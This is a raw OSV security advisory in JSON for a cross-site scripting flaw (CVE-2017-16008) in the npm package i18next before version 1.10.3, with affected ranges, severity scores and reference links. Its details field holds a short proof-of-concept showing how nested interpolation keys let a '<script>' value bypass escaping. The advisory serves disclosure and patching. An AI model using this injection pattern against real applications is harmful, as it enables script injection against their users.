原始 OSV JSON
{
"id": "GHSA-f89g-whpf-6q9m",
"aliases": [
"CVE-2017-16008"
],
"details": "Affected versions of `i18next` allow untrusted user input to be injected into dictionary key names, resulting in a cross-site scripting vulnerability.\n\n## Proof of Concept\n```js\nvar init = i18n.init({debug: true}, function(){\n var test = i18n.t('__firstName__ __lastName__', {\n escapeInterpolation: true,\n firstName: '__lastNameHTML__',\n lastName: '<script>',\n });\n console.log(test);\n});\n// equals \"<script> <script>\"\n```\n\n\n## Recommendation\n\nUpdate to version 1.10.3 or later.",
"summary": "Cross-Site Scripting in i18next",
"affected": [
{
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "0"
},
{
"fixed": "1.10.3"
}
]
}
],
"package": {
"name": "i18next",
"ecosystem": "npm"
},
"database_specific": {
"last_known_affected_version_range": "<= 1.10.2"
}
}
],
"modified": "2023-09-08T23:59:04Z",
"severity": [
{
"type": "CVSS_V3",
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"
}
],
"published": "2018-11-09T17:46:56Z",
"references": [
{
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-16008",
"type": "ADVISORY"
},
{
"url": "https://github.com/i18next/i18next/pull/443",
"type": "WEB"
},
{
"url": "https://github.com/advisories/GHSA-f89g-whpf-6q9m",
"type": "ADVISORY"
},
{
"url": "https://www.npmjs.com/advisories/325",
"type": "WEB"
}
],
"schema_version": "1.4.0",
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"severity": "MODERATE",
"github_reviewed": true,
"nvd_published_at": null,
"github_reviewed_at": "2020-06-16T21:34:06Z"
}
}